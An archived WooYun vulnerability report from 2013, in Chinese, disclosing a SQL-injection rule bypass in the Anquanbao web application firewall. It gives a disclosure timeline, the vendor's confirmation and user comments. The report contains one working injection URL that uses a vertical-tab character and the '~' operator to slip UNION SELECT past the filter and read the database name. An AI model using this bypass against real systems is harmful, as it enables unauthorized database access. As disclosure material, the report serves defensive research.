当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024361

漏洞标题：安全宝SQL注入规则绕过漏洞

相关厂商：安全宝

漏洞作者： Vty

提交时间：2013-05-23 15:56

修复时间：2013-07-07 15:57

公开时间：2013-07-07 15:57

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-23： 细节已通知厂商并且等待厂商处理中
2013-05-27： 厂商已经确认，细节仅向厂商公开
2013-06-06： 细节向核心白帽子及相关领域专家公开
2013-06-16： 细节向普通白帽子公开
2013-06-26： 细节向实习白帽子公开
2013-07-07： 细节向公众公开

简要描述：

Injection Bypass
活动说有礼物，啥礼物？
求礼物来的！

详细说明：

http://secaqb.anquanbao.org/sqlin.php?id=-9.union%0Bselect~1,database%28%29,3,4

QQ截图20130523154925.png

漏洞证明：

QQ截图20130523154925.png

修复方案：

攻城尸

版权声明：转载请注明来源 Vty@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2013-05-27 12:35

厂商回复：

您好，您反馈的问题确实存在，我们正在紧急修复中，非常感谢您的反馈。waf绕过需要反馈到security@anquanbao.com 这个邮箱才能参加{安全宝waf绕过反馈得大礼}活动，也欢迎更多的白帽子向我们反馈安全问题

最新状态：

暂无

漏洞评价：

评论

  1. 2013-05-23 16:02 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    我就觉得吧，安全宝这是在搜集规则，楼下认为呢？

  2. 2013-05-23 16:03 | Vty ( 普通白帽子 | Rank:199 漏洞数:36 )

    @疯狗 我也觉得是,没事，让它收集吧！！！

  3. 2013-05-23 16:15 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @Vty 放佛听到你的内心在说：就算拿去了你们还是防不住？ hiahia~

  4. 2013-05-23 16:31 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:29 | php python jsp)

    早上我才发现一个方法可以绕过安全宝waf,没提交 不会是同一个吧?

  5. 2013-05-23 20:28 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了！>_<'/&\)

    天真的少年，发wooyun应该不会有礼物了

  6. 2013-05-24 06:39 | Vty ( 普通白帽子 | Rank:199 漏洞数:36 )

    @redrain有节操 难道它们很坑吗？

  7. 2013-05-24 09:57 | Master ( 路人 | Rank:29 漏洞数:6 )

    天真的少年，发wooyun应该不会有礼物了

  8. 2013-05-24 10:28 | Vty ( 普通白帽子 | Rank:199 漏洞数:36 )

    @Master 为什么，要这样！

  9. 2013-05-24 12:33 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了！>_<'/&\)

    @Vty 因为我全部都发邮件提交了。。。

  10. 2013-05-24 15:05 | Master ( 路人 | Rank:29 漏洞数:6 )

    @Vty 学楼上的。

  11. 2013-05-26 08:24 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

    发邮箱不利技术发展哦,公布出来才能让千千万万做waf厂商受益哦

  12. 2013-05-27 15:45 | 戏子_AINI ( 路人 | Rank:21 漏洞数:7 | 我是一只小小小小鸟，想要飞却飞也飞不高。...)

    @在路上 如果让千千万万WAF厂商受益了 那他们吃什么?

  13. 2013-05-27 15:56 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    您好，您反馈的问题确实存在，我们正在紧急修复中，非常感谢您的反馈。waf绕过需要反馈到security@anquanbao.com 这个邮箱才能参加{安全宝waf绕过反馈得大礼}活动，也欢迎更多的白帽子向我们反馈安全问题。有什么区别么？

  14. 2013-05-27 16:07 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大（腾讯微博Passer...)

    @疯狗 有，乌云公开了宝哥认为对他们影响不好，还要卖产品的！

  15. 2013-05-27 18:34 | Vigoss_Z ( 普通白帽子 | Rank:404 漏洞数:63 | 楞娃)

    @Passer_by 微软还暴漏洞呢，不知道厂商都怎么想的！

  16. 2013-07-07 17:36 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    这是自己在给自己挖坑啊。。。

  17. 2013-07-08 08:24 | 08fans ( 路人 | Rank:24 漏洞数:6 | 关注网络安全)

    出于什么原理想到用 ".union select ~"来饶过。

  18. 2013-07-17 12:02 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)

    这个绕过比较强大！！

  19. 2014-07-02 23:02 | Azreal ( 实习白帽子 | Rank:37 漏洞数:21 | 菜鸟路过、寻找一夜菊花。)

    你的qq多少

  20. 2014-07-03 10:48 | Vty ( 普通白帽子 | Rank:199 漏洞数:36 )

    @Azreal 干啥子？